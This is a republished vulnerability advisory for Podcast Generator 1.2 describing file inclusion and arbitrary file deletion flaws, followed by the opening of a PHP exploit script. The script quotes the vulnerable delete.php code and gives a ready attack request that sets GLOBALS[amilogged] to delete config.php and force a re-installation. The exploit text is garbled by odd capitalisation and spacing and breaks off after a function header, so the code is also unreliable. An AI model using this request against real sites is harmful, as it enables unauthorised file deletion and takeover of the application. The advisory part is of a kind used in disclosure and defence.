Multiple module File Inclusion and Arbitrary File Deletion vulnerabilities in Podcast Generator

Source: Internet
Author: User
Tags podcast generator

Affected Versions:
Podcast Generator 1.2

Program introduction:

Podcast Generator is a free Podcast release script written in PHP.

Vulnerability Analysis:

Podcast Generator core/archive_cat.php, core/admin/itunescategories. php and core/admin/login. the php page does not properly filter the input transmitted by the GLOBALS [absoluteurl] parameter, core/themes. the php page does not properly filter input transmitted by the GLOBALS [theme_path] parameter, which may be used to include arbitrary files of local or external resources. In addition, the core/admin/delete. the php page does not properly filter input transmitted by the file and ext parameters, which may cause the deletion of arbitrary files. Successful exploitation of these vulnerabilities requires that register_globals be enabled.

Vulnerability Exploitation:

 
  1. <? Php
  2. #
  3. # Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
  4. #
  5. # By staker
  6. #--------------------------------------
  7. # Mail: staker [at] hotmail [dot] it
  8. # Url: http:// Podcastgen.sourceforge.net
  9. #--------------------------------------
  10. #
  11. # It works with register_globals = on
  12. #
  13. # Short explanation:
  14. #
  15. #----------------------------------------
  16. # Podcast Generator contains one flaw that
  17. # Allows an attacker to re-install the cms
  18. # Because of unlink () inDelete. phpFile
  19. #----------------------------------------
  20. # Look/Core/admin/delete. php
  21. # (Removed authors comments)
  22. /* 
  23. <? Php 
  24. If (isset ($ _ REQUEST [absoluteurl]) OR isset ($ _ REQUEST [amilogged]) OR isset ($ _ REQUEST [theme_path]) 
  25. {Exit ;}< -------- {1} 
  26. If ($ amilogged! = "True") {exit ;}< ------- {2} 
  27. If (isset ($ _ GET [file]) AND $ _ GET [file]! = NULL ){ 
  28. $ File = $ _ GET [file]; 
  29. $ Ext = $ _ GET [ext]; 
  30.  
  31. If (file_exists ("$ absoluteurl $ upload_dir $ file. $ ext ")){ 
  32. Unlink ("$ upload_dir $ file. $ ext"); <-------- {3} 
  33. $ PG_mainbody. = "<p> <B> $ file. $ ext </B> $ L_deleted </p> "; 
  34. */
  35. #
  36. # Explanation (code snippet abve [points])
  37. # Renewal #-----------------------------------------------------------------------------------
  38. #1. blocks allAmiloggedREQUEST variables, what about GLOBALS ?, Therefore useless!
  39. #2.If AmiloggedIsnt true->Exit()FunctionActivated.
  40. #3. unlink ()DeleteAn existing file.
  41. # Renewal #-----------------------------------------------------------------------------------
  42. #
  43. # ItS possible to deleteConfig. phpTo re-install the cms. we needAmilogged
  44. # Set to true. We canDoIt using a GLOBALS variable.
  45. #
  46. # Admin/core/Delete. Php? GLOBALS [amilogged] = true & file =.../../config & ext = php
  47. #
  48. # Various:
  49. #--------------------------------------------------
  50. # They didnt help me but I want to give a thanks
  51. # Girex, skerno, Chaomel, XaDoS, Dante90AndGianluka_95
  52. #--------------------------------------------------
  53. # Today is: 02 June 2009.
  54. # Location: Italy, Turin.
  55. # Http:// Www.youtube.com/watch? V = dBc7mK5iAH0
  56. #--------------------------------------------------
  57. Error_reporting(E_STRICT ^ E_WARNING );
  58. If($ Argc<2) start_usage ();
  59. $ Host=$ Argv[1];
  60. $ Path=$ Argv[2];
  61. Re_install ();
  62. FunctionSend_request ($ Data)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.